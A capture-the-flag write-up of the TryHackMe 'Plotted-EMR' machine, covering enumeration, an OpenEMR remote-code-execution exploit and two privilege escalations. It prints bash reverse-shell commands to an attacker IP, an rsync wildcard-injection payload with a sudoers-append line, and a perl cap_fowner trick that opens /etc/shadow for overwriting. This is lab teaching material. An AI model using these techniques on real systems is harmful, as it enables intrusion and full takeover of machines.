Contents

TryHackMe : Plotter-EMR WriteUp

This is my writeup for the Plotted-EMR room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…

Machine

Tip: Enumeration is key!

The machine is rated as an hard machine and yes…it is! I solved it with a mixture of techniques and different escalations. Thanks a lot to sa.infinity8888 for this amazing machine! The best part you can learn with this machine is abusing the wildcard injection and the cap_fowner capability.

If you’re not an expert of wildcard inj/cap_fowner (and I wasn’t/am not) read the pages linked into the writeup, they helped me a lot to find the proper way.

Recon

First of all I run a classic nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
nmap -sC -sV -p-  10.10.58.69   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 14:06 EST
Nmap scan report for 10.10.58.69
Host is up (0.028s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.55.171
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:63:ae:b3:17:f0:62:09:8d:96:c8:e0:7a:34:ef:5d (RSA)
|   256 d7:4a:34:0a:bc:e4:ce:ca:6f:d2:a8:26:f7:02:2e:4b (ECDSA)
|_  256 10:16:63:fb:c4:b2:8b:41:74:7b:df:bd:2d:fe:32:57 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
5900/tcp open  mysql   MySQL 5.5.5-10.3.31-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.31-MariaDB-0+deb10u1
|   Thread ID: 42
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, IgnoreSigpipes, SupportsCompression, Support41Auth, Speaks41ProtocolOld, FoundRows, LongColumnFlag, DontAllowDatabaseTableColumn, InteractiveClient, SupportsTransactions, Speaks41ProtocolNew, SupportsLoadDataLocal, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: _*TGEfRIUPoaxV'[wg}^
|_  Auth Plugin Name: mysql_native_password
8890/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

I’m looking at a Linux machine with the four ports open: 21,22,80 and 8890.

First of all I check the FTP server as anonymous user (and pass)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ftp 10.10.58.69                        
Connected to 10.10.58.69.
220 (vsFTPd 3.0.3)
Name (10.10.58.69:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -ltra
229 Entering Extended Passive Mode (|||41889|)
150 Here comes the directory listing.
dr-xr-xr-x    3 ftp      ftp          4096 Oct 17 04:35 ..
dr-xr-xr-x    3 ftp      ftp          4096 Oct 17 04:35 .
drwxr-xr-x    3 ftp      ftp          4096 Oct 17 04:36 .-
226 Directory send OK.
ftp> cd .-
250 Directory successfully changed.
ftp> ls -ltra
229 Entering Extended Passive Mode (|||48377|)
150 Here comes the directory listing.
dr-xr-xr-x    3 ftp      ftp          4096 Oct 17 04:35 ..
drwxr-xr-x    3 ftp      ftp          4096 Oct 17 04:36 .
drwxr-xr-x    2 ftp      ftp          4096 Oct 17 06:01 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||47362|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           178 Oct 17 06:01 you_are_determined.txt

There is one file and I download it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ftp> get you_are_determined.txt
local: you_are_determined.txt remote: you_are_determined.txt
229 Entering Extended Passive Mode (|||45101|)
150 Opening BINARY mode data connection for you_are_determined.txt (178 bytes).
100%    178        3.29 KiB/s    00:00 ETA
226 Transfer complete.
178 bytes received in 00:00 (2.13 KiB/s)
ftp> exit
221 Goodbye.
                                                                                                                                                                                                                                            

and check:

1
2
3
4
5
6
7
8
cat you_are_determined.txt    

Sorry, but you wasted your time!

Here is something for you :D
https://www.youtube.com/watch?v=dQw4w9WgXcQ

Wait..I'll give you a hint: see if you can access the `admin` account

Oh good, a rabbit hole or better..just a memo with a hint (a good one!…you can see it later).

Just a tip: remember to use everytime the ls -ltra command instead of a simple ls…otherwise you’ll miss something.

Let’s check the port 80:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gobuster dir -u http://10.10.58.69 -w /usr/share/wordlists/dirb/common.txt                                                                                                                                                         130===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.58.69
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/29 14:23:57 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/admin                (Status: 200) [Size: 33] 
/index.html           (Status: 200) [Size: 10918]
/passwd               (Status: 200) [Size: 61]   
/server-status        (Status: 403) [Size: 276]  
/shadow               (Status: 200) [Size: 61]   
                                                 
===============================================================
2022/01/29 14:24:11 Finished
===============================================================

Oh wait! There are some pages called passwd,admin,shadow…let’s check them:

1
2
3
4
5
6
7
8
curl http://10.10.58.69/admin      
dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1l
                                                                                                                                                                                                                                             
curl http://10.10.58.69/shadow
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==

curl http://10.10.58.69/passwd       
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==

It seems a base64 message, let’s check:

1
2
echo "dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1laHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==" | base64 -d
this might be a usernamehttps://www.youtube.com/watch?v=dQw4w9WgXc

Another time! Ok! the admin page is this might be a username…at this point I know there is something with an admin account!

I check the index page as well…but nothing than the usual ubuntu/apache home:

../images/thm-plotted/00.png
index.html

Let’s check the port 8890, who seems an HTTP server too:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gobuster dir -u http://10.10.58.69:8890 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.58.69:8890
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/29 14:24:36 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10918]
/portal               (Status: 301) [Size: 318] [--> http://10.10.58.69:8890/portal/]
/server-status        (Status: 403) [Size: 278]                                      
                                                                                     
===============================================================
2022/01/29 14:24:50 Finished
===============================================================

Well, there is something more interesting there: /portal. Before checking it via browser I run another gobuster into the /portal directory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gobuster dir -u http://10.10.58.69:8890/portal -w /usr/share/wordlists/dirb/common.txt  
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.58.69:8890/portal
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/29 14:27:27 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/admin.php            (Status: 200) [Size: 937]
/common               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/common/]
/config               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/config/]
/contrib              (Status: 301) [Size: 326] [--> http://10.10.58.69:8890/portal/contrib/]
/controllers          (Status: 301) [Size: 330] [--> http://10.10.58.69:8890/portal/controllers/]
/custom               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/custom/]     
/images               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/images/]     
/index.php            (Status: 302) [Size: 0] [--> interface/login/login.php?site=default]       
/interface            (Status: 301) [Size: 328] [--> http://10.10.58.69:8890/portal/interface/]  
/library              (Status: 301) [Size: 326] [--> http://10.10.58.69:8890/portal/library/]    
/LICENSE              (Status: 200) [Size: 35147]                                                
/modules              (Status: 301) [Size: 326] [--> http://10.10.58.69:8890/portal/modules/]    
/portal               (Status: 403) [Size: 278]                                                  
/public               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/public/]     
/services             (Status: 301) [Size: 327] [--> http://10.10.58.69:8890/portal/services/]   
/sites                (Status: 301) [Size: 324] [--> http://10.10.58.69:8890/portal/sites/]      
/sql                  (Status: 301) [Size: 322] [--> http://10.10.58.69:8890/portal/sql/]        
/templates            (Status: 301) [Size: 328] [--> http://10.10.58.69:8890/portal/templates/]  
/tests                (Status: 301) [Size: 324] [--> http://10.10.58.69:8890/portal/tests/]      
/vendor               (Status: 301) [Size: 325] [--> http://10.10.58.69:8890/portal/vendor/]     

Oh…amazing. There is an admin.php page and something who may be useful.

Let’s check the portal page - http://$IP:8890/portal:

../images/thm-plotted/01.png
The portal

and the http://$IP:8890/portal/admin.php page:

../images/thm-plotted/02.png
Admin area

I check the web portal later and I look for the last port…the MySQL one on 5900 (according to nmap). I used the root user to connect but I don’t have the password, why not trying the user admin - which is written almost everywhere?

1
2
3
4
5
6
7
8
9
mysql -u admin -h 10.10.58.69 -P 5900     
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

and..surprise! I’m in! I run something just to understand what there is here and what I can do:

1
2
3
4
5
6
7
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |

Well, I can read/see the mysql and information|performance_schema, it means (according to the documentation): To list all the databases on the MySQL server you’ll need to login as a user that can access all databases, by default that is the MySQL root user or set a global SHOW DATABASES privilege.

In fact, if I try to create a test DB, drop it or running some query…I’m a real admin :)

Let’s the fun begin!

Initial foothold

Before starting something is better to understand what I have:

  1. A fully working and available MySQL instance
  2. A web portal called OpenEMR version 5.0.1 (3) - according to the /portal/admin.php page
  3. A login page and the administration side of OpenEMR
  4. There are no DBs of this portal installed (weird? Nope…you’ll see later why)

I checked exploitdb here and there, github, several websites and…yes this version is exploitable in multiple ways, most of them via authenticated user.

Tip

I’m writing the final stage, after several test/failure of creating the new site…I was not so lucky to access it at the first time.

I talked with some guys and there are other ways to obtain a shell…but imo this is the faster one

Before starting the installation of the new site/portal I added a password to the user admin (simply password) because the website may ask you a password and it doesn’t accept an empty password! Yes, it’s full of bug but it’s still asking for the DB password:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
mysql -u admin -h 10.10.58.69 -P 5900     
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 64
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> alter user admin identified by 'password';

First of all I check the /admin.php page and it seems I can install/configure a new portal/secondary one if I click “Add New Site”. And yes, I can! I name the new site “test” as written on the image:

../images/thm-plotted/03.png
Add new site

The second window who appears is

../images/thm-plotted/04.png
Setup 1

and the third one is:

../images/thm-plotted/05.png
Setup 2

Pay attention! I haven’t created any sort of DB for the portal/application…so I ticked the “Have setup create the database” option. I clicked “continue” and the fourth one is the most important one:

../images/thm-plotted/06.png
Setup 3

Is really important to use the same configuration written on the image:

  • Server Host: the IP of the server
  • Server Port: 5900
  • Database Name: openemr or what you want..
  • Login Name: admin
  • Password: the password we setup before (password in my case)
  • Name for the root account : admin
  • Root pass: the password we setup before (password in my case)
  • Initial user: admin
  • Initial user password: admin

and leave the other options as default. I click on Continue for 2/3 times and the installation is done!

I come back to the admin.php page and my website is now present! I click on it and the login page appears, I use admin/admin and I’m into the new and fresh portal:

../images/thm-plotted/07.png
The new portal

And now the second part of the fun begin.

According to exploitdb (here and here) and to github there is a way to obtain a reverse shell/RCE using the manage_site_files.php file and the images. Unfortunately this is not our case, if you check on the portal…you can’t change/modify the site files area/settings.

But…there is always something: this exploit - the number 45161 - is using a different way to upload our payload and to use the RCE, instead of using the manage_site_files.php is using edit_globals.php (and the fax service/setup).

I download it and, before running it, I noticed something is calling the default portal (the one with an unkonown admin/pass) at line 66 - site=default:

1
2
#original exploit
r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)

I change this line with the name of my portal: test, as written at the beginning.

1
2
#original exploit
r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=test", data=login)

I open a netcat listner and I run the script (change the IPs of course…):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
python2.7 45161.py http://10.10.154.111:8890/portal -u admin -p admin -c 'bash -i >& /dev/tcp/10.11.55.171/4444 0>&1'                                                                                                                1 ⨯

 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with admin:admin
[$] Injecting payload

and my listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
nc -nvlp 4444 
listening on [any] 4444 ...
connect to [10.11.55.171] from (UNKNOWN) [10.10.154.111] 39786
www-data@plotted:/var/www/html/portal/interface/main$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@plotted:/var/www/html/portal/interface/main$ ls -ltra
total 252
drwxrwxr-x  5 www-data www-data  4096 May 28  2018 tabs
-rw-rw-r--  1 www-data www-data  3230 May 28  2018 pwd_expires_alert.php
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 onotes
drwxrwxr-x  4 www-data www-data  4096 May 28  2018 messages
-rw-rw-r--  1 www-data www-data  8399 May 28  2018 main_title.php
-rw-rw-r--  1 www-data www-data  9783 May 28  2018 main_screen.php
-rw-rw-r--  1 www-data www-data  3349 May 28  2018 main_info.php
-rw-rw-r--  1 www-data www-data 84686 May 28  2018 left_nav.php
-rw-rw-r--  1 www-data www-data 26027 May 28  2018 ippf_export.php
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 holidays
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 finder
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 exceptions
-rw-rw-r--  1 www-data www-data 10495 May 28  2018 display_documents.php
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 dated_reminders
-rw-rw-r--  1 www-data www-data  2119 May 28  2018 daemon_frame.php
drwxrwxr-x  4 www-data www-data  4096 May 28  2018 calendar
-rw-rw-r--  1 www-data www-data   179 May 28  2018 blank.php
-rw-rw-r--  1 www-data www-data  1992 May 28  2018 backuplog.sh
-rw-rw-r--  1 www-data www-data  2179 May 28  2018 backuplog.php
-rw-rw-r--  1 www-data www-data 27999 May 28  2018 backup.php
drwxrwxr-x  2 www-data www-data  4096 May 28  2018 authorizations
-rw-rw-r--  1 www-data www-data  6765 May 28  2018 about_page.php
drwxrwxr-x 32 www-data www-data  4096 May 28  2018 ..
drwxrwxr-x 11 www-data www-data  4096 May 28  2018 .
www-data@plotted:/var/www/html/portal/interface/main$ 

Amazing, the RCE worked and I’m in as www-data.

According to the /etc/passwd the home of the user www-data is /var/www, I check for the flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@plotted:/var/www$ ls -ltra
total 16
drwxr-xr-x  4 root     root     4096 Oct 17 04:17 html
drwxr-xr-x 15 root     root     4096 Oct 17 04:40 ..
-rw-r--r--  1 www-data www-data   27 Oct 17 06:05 ThisFileIsInteresting
drwxr-xr-x  3 root     root     4096 Oct 17 06:05 .
www-data@plotted:/var/www$ cat ThisFileIsInteresting

Flag1 : THM{REDACTED}

First one done :) Let’s move to the next flag/user!

PE to user plot_admin

The first think to do is checking which users are presents and what I can or can’t do…the basic enumeration for a Linux server. After checking with no luck sudo, SUID/SGID and so on…I found a crontab script running as plot_admin almost every minute:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@plotted:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
* *     * * *   plot_admin cd /var/www/html/portal/config && rsync -t * plot_admin@127.0.0.1:~/backup
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

The script is entering into the /var/www/html/portal/config directory and running an rsync -t *. Pay attention to the *.

Before doing something I searched how to use the wildcard injection: here,here,here and here there are some good articles with the examples and the explanation of almost everything.

The injection is described as:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Some interesting flags to use with rsync are:

 -e, --rsh=COMMAND           specify the remote shell to use
     --rsync-path=PROGRAM    specify the rsync to run on remote machine
We can use the -e flag to run any shell script we want. Let’s create a shell script which will add us to the sudoers file:

echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh

Now let’s inject the flag which will run our shell script:

touch -- "-e sh shell.sh"

I follow the articles and I created a script shell.sh:

1
2
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.11.55.171/4444 0>&1'

and uploaded it into the /var/www/html/portal/config plus I created the -e flag

1
2
3
4
5
6
7
8
9
www-data@plotted:/var/www/html/portal/config$ chmod +x shell.sh
www-data@plotted:/var/www/html/portal/config$ touch -- "-e sh shell.sh"
www-data@plotted:/var/www/html/portal/config$ ls -ltr
ls -ltr
total 16
-rw-rw-r-- 1 www-data www-data  428 May 28  2018  services.yml
-rw-rw-r-- 1 www-data www-data 4226 May 28  2018  config.yaml
-rwxr-xr-x 1 www-data www-data   70 Jan 30 20:44  shell.sh
-rw-r--r-- 1 www-data www-data    0 Jan 31 09:40 '-e sh shell.sh'

I launch another netcat listener in another shell and in a minute:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.55.171] from (UNKNOWN) [10.10.113.131] 52096
plot_admin@plotted:/var/www/html/portal/config$ 
plot_admin@plotted:/var/www/html/portal/config$ cd /home/plot_admin
plot_admin@plotted:~$ ls
ls
backup
user.txt

plot_admin@plotted:~$ cat user.txt
cat user.txt
[REDACTED]
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)

And the second flag is done!

Before escalating to root I checked the .ssh directory and…there is a key! I’ll use it to connect via SSH directly.

PE to root

Before trying to escalate to root I noticed something (something I have to tell you before moving on):

  • The DB I used to install the portal is into a docker image
  • I don’t have any access to the docker image/sock
  • I can access the DB via docker IP
  • IMO there are no PE via docker but…

You can check it with few commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root         999  0.0  2.1 1351052 44028 ?       Ssl  08:43   0:04 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root        1038  0.0  0.0   2488   524 ?        S    08:43   0:00 bpfilter_umh
root        1211  0.0  0.1 1152452 3452 ?        Sl   08:43   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5900 -container-ip 172.17.0.2 -container-port 3306
root        1216  0.0  0.1 1152452 3504 ?        Sl   08:43   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 5900 -container-ip 172.17.0.2 -container-port 3306
root        1268  0.0  0.4 713116  8600 ?        Sl   08:43   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e14009119bee71b41122c1e507ec35fafe299336bdb90ef96a1e789163cc5d55 -address /run/snap.docker/containerd/co

plot_admin@plotted$ ss -tulpn
Netid                  State                    Recv-Q                   Send-Q                                          Local Address:Port                                      Peer Address:Port                  Process                  
udp                    UNCONN                   0                        0                                               127.0.0.53%lo:53                                             0.0.0.0:*                                              
udp                    UNCONN                   0                        0                                          10.10.113.131%eth0:68                                             0.0.0.0:*                                              
tcp                    LISTEN                   0                        128                                                   0.0.0.0:22                                             0.0.0.0:*                                              
tcp                    LISTEN                   0                        70                                                  127.0.0.1:33060                                          0.0.0.0:*                                              
tcp                    LISTEN                   0                        151                                                 127.0.0.1:3306                                           0.0.0.0:*                                              
tcp                    LISTEN                   0                        4096                                                  0.0.0.0:5900                                           0.0.0.0:*                                              
tcp                    LISTEN                   0                        4096                                            127.0.0.53%lo:53                                             0.0.0.0:*                                              
tcp                    LISTEN                   0                        128                                                      [::]:22                                                [::]:*                                              
tcp                    LISTEN                   0                        511                                                         *:8890                                                 *:*                                              
tcp                    LISTEN                   0                        4096                                                     [::]:5900                                              [::]:*                                              
tcp                    LISTEN                   0                        511                                                         *:80                                                   *:*                                              
tcp                    LISTEN                   0                        32                                                          *:21                                                   *:*                 


plot_admin@plotted:$ mysql -u admin -ppassword -h 172.17.0.2 -P 3306
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 62
Server version: 5.5.5-10.3.31-MariaDB-0+deb10u1 Debian 10

The docker image is the reason why I changed the IP during the installation from localhost to the real machine IP.

Let’s move into the PE to root. First of all I want to thank the user Paul who helped me with a tip and led me to the correct PE! If you run linpeas.sh, perform a basic enumeration you can find something “weird” or something I personally never used.

The interesting output of linpeas.sh is this one:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Current capabilities:                                                                                                                                                                                                                        
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/perl = cap_fowner+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/perl5.30.0 = cap_fowner+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/snap/core20/1328/usr/bin/ping = cap_net_raw+ep
/snap/core20/1169/usr/bin/ping = cap_net_raw+ep

I notice that the perl binaries have the cap_fowner+ep enabled as capabilities. I never used this kind of capability and here there is a good article who explain it and how to use it.

If you read the Linux man of capabilities:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
CAP_FOWNER
              * Bypass permission checks on operations that normally
                require the filesystem UID of the process to match the
                UID of the file (e.g., chmod(2), utime(2)), excluding
                those operations covered by CAP_DAC_OVERRIDE and
                CAP_DAC_READ_SEARCH;
              * set inode flags (see ioctl_iflags(2)) on arbitrary
                files;
              * set Access Control Lists (ACLs) on arbitrary files;
              * ignore directory sticky bit on file deletion;
              * modify user extended attributes on sticky directory
                owned by any user;
              * specify O_NOATIME for arbitrary files in open(2) and
                fcntl(2).

I can change the permission of a file, for example…the /etc/shadow/ and change the root password! What I learnt is there is only one way to do it: with this Perl syntax.

Moving to root:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
plot_admin@plotted:~$ /usr/bin/perl -e '$f="/etc/shadow";chmod(0777, $f);'
plot_admin@plotted:~$ cat /etc/shadow
root:*:18863:0:99999:7:::
daemon:*:18863:0:99999:7:::
bin:*:18863:0:99999:7:::
sys:*:18863:0:99999:7:::
sync:*:18863:0:99999:7:::
games:*:18863:0:99999:7:::
man:*:18863:0:99999:7:::
lp:*:18863:0:99999:7:::
mail:*:18863:0:99999:7:::
news:*:18863:0:99999:7:::
uucp:*:18863:0:99999:7:::
proxy:*:18863:0:99999:7:::
www-data:*:18863:0:99999:7:::
backup:*:18863:0:99999:7:::
list:*:18863:0:99999:7:::
irc:*:18863:0:99999:7:::
gnats:*:18863:0:99999:7:::
nobody:*:18863:0:99999:7:::
systemd-network:*:18863:0:99999:7:::
systemd-resolve:*:18863:0:99999:7:::
systemd-timesync:*:18863:0:99999:7:::
messagebus:*:18863:0:99999:7:::
syslog:*:18863:0:99999:7:::
_apt:*:18863:0:99999:7:::
tss:*:18863:0:99999:7:::
uuidd:*:18863:0:99999:7:::
tcpdump:*:18863:0:99999:7:::
landscape:*:18863:0:99999:7:::
pollinate:*:18863:0:99999:7:::
usbmux:*:18902:0:99999:7:::
sshd:*:18902:0:99999:7:::
systemd-coredump:!!:18902::::::
ubuntu:[REDACTED]:18902:0:99999:7:::
lxd:!:18902::::::
mysql:!:18917:0:99999:7:::
ftp:*:18917:0:99999:7:::
plot_admin:[REDACTED]:18917:0:99999:7:::

I can now modify it! Let’s change the root password with test123

1
2
vi /etc/shadow
root:cpTwkvN8LaCm6:18863:0:99999:7:::

and login as root:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
plot_admin@plotted:~$ su
Password: (test123)

root@plotted:/home/plot_admin# 
root@plotted:~# cat root.txt 
Congratulations on completing this room!

[REDACTED]

Hope you enjoyed the journey!

Do let me know if you have any ideas/suggestions for future rooms
-sa.infinity8888
root@plotted:~# 

Just a note: don’t try to add another root user into the /etc/passwd, the login via SSH to root is forbidden:

1
2
3
4
plot_admin@plotted:~$ cat /etc/ssh/sshd_config | grep -i root
#PermitRootLogin prohibit-password
# the setting of "PermitRootLogin without-password".
#ChrootDirectory none